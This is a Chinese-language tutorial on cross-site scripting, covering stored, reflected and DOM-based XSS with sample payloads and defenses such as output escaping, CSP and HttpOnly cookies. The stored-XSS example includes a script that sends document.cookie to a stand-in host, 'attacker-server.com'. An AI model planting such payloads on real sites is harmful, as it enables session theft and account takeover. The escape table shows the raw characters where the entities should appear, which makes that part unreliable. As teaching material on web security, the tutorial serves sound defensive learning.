脚本注入攻击原理
什么是浏览器脚本注入?
浏览器脚本注入,通常被称为跨站脚本攻击 (Cross-Site Scripting, XSS),是一种常见的网络安全漏洞。攻击者通过在受信任的网站中注入恶意的客户端脚本(通常是 JavaScript),当其他用户访问该网站时,这些恶意脚本就会在他们的浏览器中执行。
其核心目标不是攻击网站服务器,而是攻击访问该网站的用户。
核心原理
现代网页是动态的,内容由 HTML、CSS 和 JavaScript 组成。当浏览器加载一个网页时,它会解析 HTML 来构建页面的结构 (DOM Tree),并执行其中的 JavaScript 脚本。
脚本注入的根本原理是:网站将用户输入的数据,未经充分的过滤和转义,就直接作为 HTML 内容输出到了页面上。
这就给了攻击者一个机会,他们可以构造一段特殊的“数据”,这段数据实际上是一段可执行的 JavaScript 脚本。当浏览器渲染页面时,会把这段恶意脚本误认为是页面正常的一部分而执行它。
注入流程
一个典型的脚本注入攻击流程如下:
发现漏洞: 攻击者在目标网站上寻找可以输入内容的地方,例如搜索框、评论区、用户个人资料页、URL参数等。
构造恶意脚本: 攻击者精心制作一段恶意的 JavaScript 代码。这段代码可以很简单(如一个弹窗),也可以很复杂(如窃取 cookie)。
注入脚本: 攻击者将这段恶意脚本作为“数据”输入到网站的漏洞点,并提交。网站后端服务器在不知情的情况下,将这段恶意数据存入了数据库。
受害者访问: 其他正常用户访问了包含这个恶意脚本的页面。
脚本执行: 网站后端从数据库中读取了包含恶意脚本的数据,并将其直接嵌入到 HTML 页面中,然后发送给受害者的浏览器。受害者的浏览器接收到 HTML 后,无法分辨这是正常内容还是恶意脚本,于是直接执行了它。
攻击得手: 恶意脚本在受害者的浏览器中执行,达到了攻击者的目的(例如,窃取信息、发起请求等)。
脚本注入的类型及举例
主要有三种常见的 XSS 类型:
1. 存储型 XSS (Stored XSS)
这是最危险的一种。恶意脚本被永久地存储在目标服务器上(如数据库中)。
场景: 一个支持用户发表评论的博客网站。
流程:
攻击者在该博客的一篇文章下发表评论,但内容不是普通文字,而是:
<script>
// 这段脚本会窃取当前用户的cookie
// 并将其发送到攻击者自己的服务器
fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
</script>
博客网站的后端没有对评论内容进行任何过滤,直接将这段
<script>...</script>
字符串存入了数据库。受害者(比如网站管理员)后来访问这篇文章,想看看最新的评论。
浏览器请求页面,服务器从数据库取出评论内容,拼接到 HTML 中,然后返回给浏览器。受害者的浏览器收到的部分 HTML 看起来像这样:
<div class="comment-body">
<script>
fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
</script>
</div>
脚本执行:浏览器解析到
<script>
标签,立即执行其中的 JavaScript 代码。管理员的 session cookie 就被发送到了攻击者的服务器。攻击者拿到 cookie 后,就可以冒充管理员登录网站后台。
2. 反射型 XSS (Reflected XSS)
恶意脚本不存储在服务器上,而是作为 URL 的一部分。攻击者需要诱导用户点击一个特制的链接。
场景: 网站的搜索功能,它会将搜索词显示在结果页面上。例如,搜索
apple
,页面会显示 "您搜索的结果是:apple"。流程:
攻击者发现搜索功能存在漏洞。如果搜索的 URL 是
https://example.com/search?q=apple
,页面就会输出apple
。攻击者构造一个恶意的 URL,将脚本放在
q
参数里:
https://example.com/search?q=<script>alert('XSS Attack!');</script>
攻击者通过邮件、社交网络等方式将这个链接发送给受害者,并用一些诱人的话术(如“快来看这个,有惊喜!”)引诱他们点击。
受害者点击链接后,浏览器向
https://example.com
发起请求。服务器接收到请求,从 URL 中取出
q
参数的值(也就是那段恶意脚本),未经处理就直接嵌入到返回的 HTML 页面中:
<h1>您搜索的结果是:<script>alert('XSS Attack!');</script></h1>
脚本执行:受害者的浏览器收到 HTML 后,执行了脚本,弹出了一个 "XSS Attack!" 的警告框。这只是一个简单的例子,实际攻击中脚本会执行更危险的操作。
3. DOM 型 XSS (DOM-based XSS)
这是一种更高级的 XSS 攻击。注入和执行的整个过程都发生在客户端,服务器甚至可能完全不知道攻击的发生。它源于客户端脚本对 DOM 的不当操作。
场景: 一个单页面应用 (SPA),它使用 JavaScript 根据 URL 中的 hash (
#
) 来动态改变页面内容,而 hash 的改变不会向服务器发送请求。流程:
网页中有一段 JavaScript 代码,用来欢迎用户:
// 从URL的hash中读取用户名,并显示在页面上
var username = window.location.hash.substring(1); // 获取'#'后面的部分
document.getElementById('welcome-message').innerHTML = "Welcome, " + username;
攻击者构造一个恶意 URL:
https://example.com/welcome#<img src="invalid-image" onerror="alert('DOM XSS')">
这里的 onerror
是一个事件处理器,当图片加载失败时会执行其中的 JavaScript 代码。
攻击者诱导受害者点击这个链接。
受害者的浏览器加载
https://example.com/welcome
页面。页面中的 JavaScript 开始执行。window.location.hash.substring(1)
获取到的username
变量值是<img src="invalid-image" onerror="alert('DOM XSS')">
。innerHTML
将这段字符串直接写入到 DOM 中。浏览器尝试解析这个 HTML 片段,它会尝试加载一个不存在的图片invalid-image
,加载失败后立即触发onerror
事件,从而执行了alert('DOM XSS')
。
如何防御脚本注入?
防御 XSS 的核心原则是:永远不要相信用户的任何输入。
输入验证 (Input Validation): 对用户输入的数据进行格式检查,例如,年龄字段只接受数字,邮件字段必须符合邮件格式等。但这不足以完全防御 XSS。
输出编码/转义 (Output Encoding/Escaping): 这是最关键和最有效的防御手段。当需要将用户输入的数据插入到 HTML 中时,对特殊字符进行编码,使其被浏览器当作纯文本处理,而不是 HTML 标签。
<
应转义为<
>
应转义为>
&
应转义为&
"
应转义为"
'
应转义为'
经过转义后,<script>
就会变成<script>
,浏览器只会把它显示出来,而不会执行它。
内容安全策略 (Content Security Policy, CSP): 在服务器的 HTTP 响应头中设置 CSP,可以精确地告诉浏览器哪些来源的脚本是可信的、可以执行的,从而阻止加载来自未知来源的脚本。
使用 HttpOnly Cookie: 为敏感的 Cookie(如 Session ID)设置
HttpOnly
属性,这样通过 JavaScript 的document.cookie
API 就无法读取到该 Cookie,有效防止了通过 XSS 窃取会话信息的攻击。